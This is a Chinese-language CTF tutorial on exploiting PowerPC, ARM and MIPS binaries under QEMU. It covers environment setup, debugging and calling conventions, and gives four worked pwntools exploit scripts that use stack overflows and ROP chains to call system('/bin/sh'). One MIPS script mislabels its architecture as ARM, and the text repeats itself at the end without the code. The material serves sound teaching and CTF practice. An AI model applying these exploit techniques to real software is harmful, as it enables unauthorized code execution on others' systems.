深入异构 PWN:PowerPC&ARM&MIPS
字数 2163 2025-08-22 18:37:14

深入异构 PWN:PowerPC、ARM 和 MIPS 架构漏洞利用指南

前言

本文档基于 Ubuntu 16.04 环境,介绍如何在 QEMU 仿真环境中运行和调试异构架构程序,并通过 CTF-PWN 例题深入讲解 PowerPC、ARM 和 MIPS 架构的漏洞利用技术。通过学习,您将掌握:

  1. PowerPC、ARM、AARCH64 和 MIPS 架构的指令集和函数调用约定
  2. 异构程序的调试方法
  3. 将 x86 架构下的漏洞挖掘和利用思想迁移到异构架构

环境搭建

QEMU 模拟器安装

QEMU 是一个支持多种处理器架构的模拟器,提供两种主要运行模式:

  • qemu-user:用户模式模拟
  • qemu-user-static:静态编译版本,包含所有必需库

安装命令:

$ sudo apt-get update
$ sudo apt-get install qemu qemu-user qemu-user-static
$ sudo apt-get install qemu-system uml-utilities bridge-utils

运行程序

静态链接程序

$ qemu-ppc-static ./pwn  # PowerPC 32-bit
$ qemu-arm-static ./pwn  # ARM 32-bit
$ qemu-aarch64-static ./pwn  # ARM 64-bit
$ qemu-mips-static ./pwn  # MIPS
$ qemu-mipsel-static ./pwn  # MIPS小端序
$ qemu-ppc64-static ./pwn  # PowerPC 64-bit

动态链接程序

需要先安装对应架构的动态链接库:

$ apt search "libc6-" | grep "powerpc"
$ sudo apt-get install libc6-powerpc-cross

运行命令:

$ qemu-ppc -L /usr/powerpc-linux-gnu ./pwn

调试工具安装

$ sudo apt-get install gdb-multiarch

调试方法

  1. 启动 QEMU 并监听调试端口:
$ qemu-ppc -g 1234 -L /usr/powerpc-linux-gnu ./pwn
  1. 使用 gdb-multiarch 连接:
$ gdb-multiarch -q -ex "set architecture powerpc:common" ./pwn
(gdb) set endian big
(gdb) target remote :1234

PowerPC 架构

寄存器说明

寄存器 说明
R1/SP 栈顶指针
R3 第一个参数/函数返回值
R4-R10 函数或系统调用的参数
LR 链接寄存器,存储返回地址
PC 程序计数器

常用指令

  • STB: 存储字节
  • STW: 存储字
  • LD: 从内存加载数据到寄存器
  • LI: 加载立即数
  • LIS: 加载立即数并左移16位
  • LWZ: 加载字并清零高位
  • BL: 分支链接(保存返回地址到LR并跳转)
  • MTCTR: 移动到计数寄存器
  • BCTRL: 分支到计数寄存器并链接

函数调用约定

  • 通过寄存器传递参数(R3-R10)
  • 参数过多时,多余参数压入栈中
  • 返回值存储在R3寄存器

例题分析:pwn起源

关键点

  1. 程序为PowerPC-32-big架构静态链接程序
  2. 存在任意代码执行漏洞
  3. 需要控制R3寄存器指向"/bin/sh"

利用步骤

  1. 构造payload包含"/bin/sh"字符串
  2. 覆盖关键地址为system函数地址
  3. 通过gadget控制R3寄存器指向"/bin/sh"

EXP

from pwn import *
context.endian = 'big'
context.log_level = 'debug'

p = process(['qemu-ppc-static', './main'])
system = 0x100006F0
payload = '/bin/sh\x00' + 'a'*32 + p32(system)
p.sendlineafter('comment.\n', payload)
p.interactive()

ARM & AARCH64 架构

寄存器说明

ARM (32位):

  • R0: 第一个参数/返回值
  • R13 (SP): 堆栈指针
  • R14 (LR): 链接寄存器
  • R15 (PC): 程序计数器

AARCH64 (64位):

  • X0-X5: 前六个参数
  • X0: 返回值

函数调用约定

ARM:

  • 前四个参数在R0-R3
  • 剩余参数从右向左入栈
  • 被调用者负责栈平衡
  • 返回值在R0

AARCH64:

  • 前六个参数在X0-X5
  • 调用者负责栈平衡
  • 返回值在X0

常用指令

  • MOV: 数据传输
  • ADD/SUB: 加减法
  • CMP: 比较
  • B: 无条件跳转
  • BL: 分支链接(保存返回地址)
  • LDR/STR: 内存读写
  • PUSH/POP: 栈操作

例题分析:jarvisoj_typo

关键点

  1. ARM-32-little架构静态链接程序
  2. 去符号表
  3. 基础栈溢出
  4. 存在system和'/bin/sh'

利用步骤

  1. 使用rizzo还原符号表
  2. 构造ROP链控制R0指向'/bin/sh'
  3. 跳转到system函数

EXP

from pwn import *
context(arch='arm', log_level='debug')

p = process(['qemu-arm-static', './typo'])
pop_r0_r4_ret = 0x00020904
binsh = 0x0006c384
system = 0x00010BA8

p.send('\n')
payload = 'a'*112
payload += p32(pop_r0_r4_ret)
payload += p32(binsh)
payload += p32(0)
payload += p32(system)
p.sendline(payload)
p.interactive()

MIPS 架构

寄存器说明

寄存器 别名 用途
$0 $zero 常量0
$1 $at 保留给汇编器
\(2-\)3 \(v0-\)v1 函数返回值
\(4-\)7 \(a0-\)a3 前四个参数
\(8-\)15 \(t0-\)t7 临时寄存器
\(16-\)23 \(s0-\)s7 保存寄存器
\(24-\)25 \(t8-\)t9 补充临时寄存器
\(26-\)27 \(k0-\)k1 中断处理使用
$28 $gp 全局指针
$29 $sp 堆栈指针
$30 $fp 帧指针
$31 $ra 返回地址

函数调用约定

  • 前四个参数在\(a0-\)a3
  • 剩余参数从右向左入栈
  • 返回值在\(v0-\)v1
  • 调用者负责保存临时寄存器
  • 被调用者负责保存\(s0-\)s7

例题分析:ret2win_mipsel

关键点

  1. Mipsel架构程序
  2. read函数存在栈溢出
  3. 存在后门函数

EXP

from pwn import *
context(arch='arm', os='linux')
context.log_level = 'debug'

p = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "./ret2win_mipsel"])
payload = "a"*0x24 + p32(0x00400A00)
p.sendafter('>', payload)
p.interactive()

例题分析:split_mipsel

关键点

  1. Mipsel架构程序
  2. read函数存在栈溢出
  3. 存在system和"/bin/sh"字符串

利用步骤

  1. 查找控制$a0的gadget
  2. 构造ROP链调用system("/bin/sh")

EXP

from pwn import *
context(arch='mips', os='linux')
context.log_level = 'debug'

p = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "./split_mipsel"])
payload = 'a'*36
payload += p32(0x00400a20)  # gadget: lw $a0, 8($sp); lw $t9, 4($sp); jalr $t9; nop
payload += 'bbbb'
payload += p32(0x00400B70)  # system
payload += p32(0x00411010)  # /bin/sh
p.sendafter(">", payload)
p.interactive()

总结

本文详细介绍了PowerPC、ARM和MIPS架构下的PWN技术,包括:

  1. 环境搭建和调试方法
  2. 各架构的寄存器使用和函数调用约定
  3. 常见指令集
  4. 实际例题分析和利用技巧

通过掌握这些知识,您可以将x86架构下的漏洞利用思想迁移到异构架构,提升在CTF比赛和实际安全研究中的能力。

深入异构 PWN:PowerPC、ARM 和 MIPS 架构漏洞利用指南 前言 本文档基于 Ubuntu 16.04 环境,介绍如何在 QEMU 仿真环境中运行和调试异构架构程序,并通过 CTF-PWN 例题深入讲解 PowerPC、ARM 和 MIPS 架构的漏洞利用技术。通过学习,您将掌握: PowerPC、ARM、AARCH64 和 MIPS 架构的指令集和函数调用约定 异构程序的调试方法 将 x86 架构下的漏洞挖掘和利用思想迁移到异构架构 环境搭建 QEMU 模拟器安装 QEMU 是一个支持多种处理器架构的模拟器,提供两种主要运行模式: qemu-user :用户模式模拟 qemu-user-static :静态编译版本,包含所有必需库 安装命令: 运行程序 静态链接程序 动态链接程序 需要先安装对应架构的动态链接库: 运行命令: 调试工具安装 调试方法 启动 QEMU 并监听调试端口: 使用 gdb-multiarch 连接: PowerPC 架构 寄存器说明 | 寄存器 | 说明 | |--------|------| | R1/SP | 栈顶指针 | | R3 | 第一个参数/函数返回值 | | R4-R10 | 函数或系统调用的参数 | | LR | 链接寄存器,存储返回地址 | | PC | 程序计数器 | 常用指令 STB : 存储字节 STW : 存储字 LD : 从内存加载数据到寄存器 LI : 加载立即数 LIS : 加载立即数并左移16位 LWZ : 加载字并清零高位 BL : 分支链接(保存返回地址到LR并跳转) MTCTR : 移动到计数寄存器 BCTRL : 分支到计数寄存器并链接 函数调用约定 通过寄存器传递参数(R3-R10) 参数过多时,多余参数压入栈中 返回值存储在R3寄存器 例题分析:pwn起源 关键点 : 程序为PowerPC-32-big架构静态链接程序 存在任意代码执行漏洞 需要控制R3寄存器指向"/bin/sh" 利用步骤 : 构造payload包含"/bin/sh"字符串 覆盖关键地址为system函数地址 通过gadget控制R3寄存器指向"/bin/sh" EXP : ARM & AARCH64 架构 寄存器说明 ARM (32位) : R0: 第一个参数/返回值 R13 (SP): 堆栈指针 R14 (LR): 链接寄存器 R15 (PC): 程序计数器 AARCH64 (64位) : X0-X5: 前六个参数 X0: 返回值 函数调用约定 ARM : 前四个参数在R0-R3 剩余参数从右向左入栈 被调用者负责栈平衡 返回值在R0 AARCH64 : 前六个参数在X0-X5 调用者负责栈平衡 返回值在X0 常用指令 MOV : 数据传输 ADD/SUB : 加减法 CMP : 比较 B : 无条件跳转 BL : 分支链接(保存返回地址) LDR/STR : 内存读写 PUSH/POP : 栈操作 例题分析:jarvisoj_ typo 关键点 : ARM-32-little架构静态链接程序 去符号表 基础栈溢出 存在system和'/bin/sh' 利用步骤 : 使用rizzo还原符号表 构造ROP链控制R0指向'/bin/sh' 跳转到system函数 EXP : MIPS 架构 寄存器说明 | 寄存器 | 别名 | 用途 | |--------|------|------| | $0 | $zero | 常量0 | | $1 | $at | 保留给汇编器 | | $2-$3 | $v0-$v1 | 函数返回值 | | $4-$7 | $a0-$a3 | 前四个参数 | | $8-$15 | $t0-$t7 | 临时寄存器 | | $16-$23 | $s0-$s7 | 保存寄存器 | | $24-$25 | $t8-$t9 | 补充临时寄存器 | | $26-$27 | $k0-$k1 | 中断处理使用 | | $28 | $gp | 全局指针 | | $29 | $sp | 堆栈指针 | | $30 | $fp | 帧指针 | | $31 | $ra | 返回地址 | 函数调用约定 前四个参数在$a0-$a3 剩余参数从右向左入栈 返回值在$v0-$v1 调用者负责保存临时寄存器 被调用者负责保存$s0-$s7 例题分析:ret2win_ mipsel 关键点 : Mipsel架构程序 read函数存在栈溢出 存在后门函数 EXP : 例题分析:split_ mipsel 关键点 : Mipsel架构程序 read函数存在栈溢出 存在system和"/bin/sh"字符串 利用步骤 : 查找控制$a0的gadget 构造ROP链调用system("/bin/sh") EXP : 总结 本文详细介绍了PowerPC、ARM和MIPS架构下的PWN技术,包括: 环境搭建和调试方法 各架构的寄存器使用和函数调用约定 常见指令集 实际例题分析和利用技巧 通过掌握这些知识,您可以将x86架构下的漏洞利用思想迁移到异构架构,提升在CTF比赛和实际安全研究中的能力。